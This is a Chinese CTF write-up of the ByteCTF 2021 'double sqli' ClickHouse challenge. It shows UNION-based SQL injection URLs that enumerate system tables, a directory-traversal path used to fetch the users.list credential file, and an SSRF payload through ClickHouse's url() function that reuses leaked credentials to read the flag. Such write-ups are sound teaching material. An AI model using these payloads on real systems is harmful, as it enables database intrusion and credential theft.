2021届ByteCtf---double sqli-----writeup----WebCTF------clickhouse

通过id =1 and 1=2 和id=1 and 1=1 结果不同断定存在sql注入漏洞

 想用sqlmap注入

 发现无法指纹识别DBMS

 然后用联合查询

?id=0 union select database()

 报错

  (union_default_mode) is empty: 原来是没设置DISTINCT/ALL

发现DBMS是clickhouse的  

查阅资料

 ClickHouse官方文档

 system.tables | ClickHouse Documentation

system.tables 相当于mysql中的information_schema.tables

只不过一些字段名 与mysql不一样

并且group_concat 在clickhouse中是没有的,而用的groupArray()有相同的作用。

groupArray

类似mysql的 group_concat()函数
作用:多行数据合成一行,得到数组字段
select pid,groupArray(chncode) chncodeArray,groupArray(chnname) chnnameArray from odsmysql_wan_promotion_channel_v3 where pid = 1 group by pid
 
pid|chncodeArray  |chnnameArray |
---|--------------|-------------|
  1|['1_2','1_58']|['测试','测试默认']|

列举所有的数据库 (system.databases)

http://39.105.175.150:30001/?id=0 union all select toString(groupArray(name)) from system.databases

 

 列举数据库ctf中所有的表(使用system.tables)

http://39.105.175.150:30001/?id=0 union all select toString(groupArray(name)) from system.tables where database='ctf'

 发现hint表,我们通过system.columns查询hint表中的表名

http://39.105.175.150:30001/?id=0 union all select toString(groupArray(name) from system.columns where table='hint'

 查询hint表中的内容

http://39.105.175.150:30001/?id=0 union all select id from ctf.hint

 目录穿越漏洞 跳转至clickhouse的目录下

http://39.105.175.150:30001/files../var/lib/clickhouse/access/

 

 发现users.list

下载后用记事本打开 

 HTTP客户端 | ClickHouse文档HTTP客户端 HTTP接口允许您在任何编程语言的任何平台上使用ClickHouse。我们使用它在Java和Perl以及shell脚本中工作。在其他部门中,HTTP接口用于Perl、Python和Go。HTTP接口比原生接口受到更多的限制,https://clickhouse.com/docs/zh/interfaces/http/

用户名和密码可以通过以下三种方式指定:

  1. 通过HTTP Basic Authentication。示例:
$ echo 'SELECT 1' | curl 'http://user:password@localhost:8123/' -d @-
  1. 通过URL参数中的userpassword。示例:
$ echo 'SELECT 1' | curl 'http://localhost:8123/?user=user&password=password' -d @-
  1. 使用X-ClickHouse-UserX-ClickHouse-Key头指定,示例:
$ echo 'SELECT 1' | curl -H 'X-ClickHouse-User: user' -H 'X-ClickHouse-Key: password' 'http://localhost:8123/' -d @-

SELECT * FROM URL("http://0.0.0.0:8123/?user=user_01&password=e3b0c44298fc1c149afb&query=select+flag+from+ctf.flag", CsSV, 'column String')

 

 因为必须对query中的+ & 空格进行 URL 转义。

 

url | ClickHouse Documentationicon-default.png?t=L9C2https://clickhouse.com/docs/en/sql-reference/table-functions/url/

url函数从URL给定的format和创建一个表structure

url功能可以被用来SELECTINSERT对数据的查询的URL表。

句法

url(URL, format, structure)

参数

  • URL— HTTP 或 HTTPS 服务器地址,可以接受GETPOST请求(相应地为SELECTINSERT查询)。类型:字符串
  • format—数据格式。类型:字符串
  • structure'UserID UInt64, Name String'格式中的表结构。确定列名称和类型。类型:字符串

返回值

具有指定格式和结构以及来自定义的数据的表URL

例子

从 HTTP 服务器获取包含StringUInt32类型列的表的前 3 行,该服务器以CSV格式回答。

SELECT * FROM url('http://127.0.0.1:12345/', CSV, 'column1 String, column2 UInt32') LIMIT 3;

Payload

SELECT * FROM url("http://0.0.0.0:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2bflag%2bfrom%2bctf.flag", CSV, 'column String')

 执行Payload

http://39.105.175.150:30001/?id=0%20OR%20(SELECT%20*%20FROM%20url(%22http://0.0.0.0:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2bflag%2bfrom%2bctf.flag%22,%20CSV,%20%27column%20String%27))--+

 得到flag

 参考大神的writeup  链接:

ByteCTF-WriteUp

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值